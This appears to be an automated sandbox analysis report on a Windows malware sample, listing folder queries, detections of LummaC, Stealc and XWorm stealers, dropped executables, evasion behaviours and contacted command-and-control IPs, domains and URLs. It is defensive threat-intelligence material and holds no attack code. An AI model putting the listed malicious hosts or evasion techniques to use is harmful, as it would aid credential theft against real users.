Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\LFOPODGVOH Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\LFOPODGVOH Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\LIJDSFKJZG Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\LIJDSFKJZG Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\PWZOQIFCAN Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\PWZOQIFCAN Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\UNKRLCVOHV Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Directory queried: C:\Users\user\Documents\BUFZSQPCOH Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Directory queried: C:\Users\user\Documents\DQOFHVHTMG Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Directory queried: C:\Users\user\Documents\DUKNXICOZT Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Directory queried: C:\Users\user\Documents\LFOPODGVOH Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Directory queried: C:\Users\user\Documents\PWZOQIFCAN Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Directory queried: C:\Users\user\Documents\WHZAGPPPLA Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Directory queried: C:\Users\user\Documents\BUFZSQPCOH Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Directory queried: C:\Users\user\Documents\BUFZSQPCOH Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Directory queried: C:\Users\user\Documents\LIJDSFKJZG Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Directory queried: C:\Users\user\Documents\BUFZSQPCOH Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Directory queried: C:\Users\user\Documents\DQOFHVHTMG Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Directory queried: C:\Users\user\Documents\DUKNXICOZT Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Directory queried: C:\Users\user\Documents\DUKNXICOZT Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Directory queried: C:\Users\user\Documents\ERWQDBYZVW Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Directory queried: C:\Users\user\Documents\ERWQDBYZVW Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Directory queried: C:\Users\user\Documents\GLTYDMDUST Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Directory queried: C:\Users\user\Documents Jump to behavior
Yara detected Credential Stealer
Source: Yara match File source: Process Memory Space: file.exe PID: 5648, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: 44f3ff7773.exe PID: 316, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected Credential Flusher
Source: Yara match File source: Process Memory Space: de31db656f.exe PID: 2436, type: MEMORYSTR
Yara detected LummaC Stealer
Source: Yara match File source: Process Memory Space: file.exe PID: 5648, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: 44f3ff7773.exe PID: 316, type: MEMORYSTR
Source: Yara match File source: sslproxydump.pcap, type: PCAP
Yara detected Stealc
Source: Yara match File source: 40.0.num.exe.580000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 19.2.0322d7d8d5.exe.bc0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 40.2.num.exe.580000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000028.00000002.2537550104.0000000000581000.00000080.00000001.01000000.00000019.sdmp, type: MEMORY
Source: Yara match File source: 00000013.00000002.2454730421.0000000000BC1000.00000040.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match File source: 00000013.00000003.2395851791.0000000005360000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000028.00000002.2546360919.00000000012BE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000028.00000002.2537968308.000000000059E000.00000002.00000001.01000000.00000019.sdmp, type: MEMORY
Source: Yara match File source: 00000028.00000000.2521547283.000000000059E000.00000002.00000001.01000000.00000019.sdmp, type: MEMORY
Source: Yara match File source: 00000013.00000002.2456120986.000000000165C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000028.00000000.2521448319.0000000000581000.00000080.00000001.01000000.00000019.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: 0322d7d8d5.exe PID: 7200, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: num.exe PID: 6768, type: MEMORYSTR
Source: Yara match File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\num[1].exe, type: DROPPED
Source: Yara match File source: C:\Users\user\AppData\Local\Temp\1002934001\num.exe, type: DROPPED
Source: Yara match File source: dump.pcap, type: PCAP
Yara detected XWorm
Source: Yara match File source: 17.0.XC.exe.d20000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000000F.00000002.2549086102.000000000104B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000011.00000000.2209001966.0000000000D22000.00000002.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: skotes.exe PID: 5088, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: XC.exe PID: 3060, type: MEMORYSTR
Source: Yara match File source: C:\Users\user\XC.exe, type: DROPPED
Source: Yara match File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\XC[1].exe, type: DROPPED
Source: Yara match File source: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe, type: DROPPED
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1546222 Sample: file.exe Startdate: 31/10/2024 Architecture: WINDOWS Score: 100 76 thumbystriw.store 2->76 78 presticitpo.store 2->78 80 4 other IPs or domains 2->80 96 Suricata IDS alerts for network traffic 2->96 98 Found malware configuration 2->98 100 Malicious sample detected (through community Yara rule) 2->100 102 22 other signatures 2->102 9 skotes.exe 3 28 2->9         started        14 file.exe 2 2->14         started        16 XC.exe 2->16         started        18 2 other processes 2->18 signatures3 process4 dnsIp5 88 185.215.113.43, 49981, 49982, 49984 WHOLESALECONNECTIONSNL Portugal 9->88 90 45.200.148.223, 49983, 80 Africa-on-Cloud-ASZA Seychelles 9->90 60 C:\Users\user\AppData\Local\Temp\...\num.exe, PE32 9->60 dropped 62 C:\Users\user\AppData\...\de31db656f.exe, PE32 9->62 dropped 64 C:\Users\user\AppData\...\0322d7d8d5.exe, PE32 9->64 dropped 70 7 other malicious files 9->70 dropped 138 Creates multiple autostart registry keys 9->138 140 Hides threads from debuggers 9->140 142 Tries to detect sandboxes / dynamic malware analysis system (registry check) 9->142 20 44f3ff7773.exe 9->20         started        23 0322d7d8d5.exe 9->23         started        26 XC.exe 1 5 9->26         started        35 2 other processes 9->35 92 necklacedmny.store 188.114.96.3, 443, 49703, 49704 CLOUDFLARENETUS European Union 14->92 94 185.215.113.16, 49751, 49985, 49990 WHOLESALECONNECTIONSNL Portugal 14->94 66 C:\...\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe, PE32 14->66 dropped 68 C:\Users\user\...\OXQ7QUWHYS3G7KHDRA2.exe, PE32 14->68 dropped 144 Query firmware table information (likely to detect VMs) 14->144 146 Found many strings related to Crypto-Wallets (likely being stolen) 14->146 148 Tries to evade debugger and weak emulator (self modifying code) 14->148 158 3 other signatures 14->158 29 OXQ7QUWHYS3G7KHDRA2.exe 4 14->29         started        31 P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe 9 1 14->31         started        150 Antivirus detection for dropped file 16->150 152 Multi AV Scanner detection for dropped file 16->152 154 Machine Learning detection for dropped file 16->154 156 Tries to detect process monitoring tools (Task Manager, Process Explorer etc.) 18->156 33 firefox.exe 18->33         started        file6 signatures7 process8 dnsIp9 104 Multi AV Scanner detection for dropped file 20->104 106 Query firmware table information (likely to detect VMs) 20->106 108 Tries to detect sandboxes and other dynamic analysis tools (window names) 20->108 122 4 other signatures 20->122 82 185.215.113.206, 49999, 80 WHOLESALECONNECTIONSNL Portugal 23->82 124 3 other signatures 23->124 84 didjmdk3nindi3nd.zapto.org 70.241.39.14, 49986, 49998, 7000 ATT-INTERNET4US United States 26->84 72 C:\Users\user\XC.exe, PE32 26->72 dropped 110 Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines) 26->110 112 Protects its processes via BreakOnTermination flag 26->112 126 2 other signatures 26->126 74 C:\Users\user\AppData\Local\...\skotes.exe, PE32 29->74 dropped 114 Antivirus detection for dropped file 29->114 116 Detected unpacking (changes PE section rights) 29->116 118 Machine Learning detection for dropped file 29->118 37 skotes.exe 29->37         started        128 6 other signatures 31->128 86 127.0.0.1 unknown unknown 33->86 40 firefox.exe 33->40         started        120 Binary is likely a compiled AutoIt script file 35->120 42 taskkill.exe 35->42         started        44 taskkill.exe 35->44         started        46 taskkill.exe 35->46         started        48 3 other processes 35->48 file10 signatures11 process12 signatures13 130 Antivirus detection for dropped file 37->130 132 Detected unpacking (changes PE section rights) 37->132 134 Machine Learning detection for dropped file 37->134 136 4 other signatures 37->136 50 conhost.exe 42->50         started        52 conhost.exe 44->52         started        54 conhost.exe 46->54         started        56 conhost.exe 48->56         started        58 conhost.exe 48->58         started        process14
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
185.215.113.43
 unknown Portugal
206894 WHOLESALECONNECTIONSNL true
70.241.39.14
 didjmdk3nindi3nd.zapto.org United States
7018 ATT-INTERNET4US true
188.114.96.3
 necklacedmny.store European Union
13335 CLOUDFLARENETUS true
185.215.113.206
 unknown Portugal
206894 WHOLESALECONNECTIONSNL true
185.215.113.16
 unknown Portugal
206894 WHOLESALECONNECTIONSNL false
45.200.148.223
 unknown Seychelles
328608 Africa-on-Cloud-ASZA false

Private

IP
127.0.0.1

Contacted Domains

Name IP Active
necklacedmny.store 188.114.96.3 true
didjmdk3nindi3nd.zapto.org 70.241.39.14 true
presticitpo.store unknown unknown
thumbystriw.store unknown unknown
crisiwarny.store unknown unknown
fadehairucw.store unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://185.215.113.206/ true
    		unknown
    fadehairucw.store true
      		unknown
      http://185.215.113.206/6c4adf523b719729.php true
        		unknown
        founpiuer.store true
          		unknown
          didjmdk3nindi3nd.zapto.org true
            		unknown
            70.241.39.14 true
              		unknown
              presticitpo.store true
                		unknown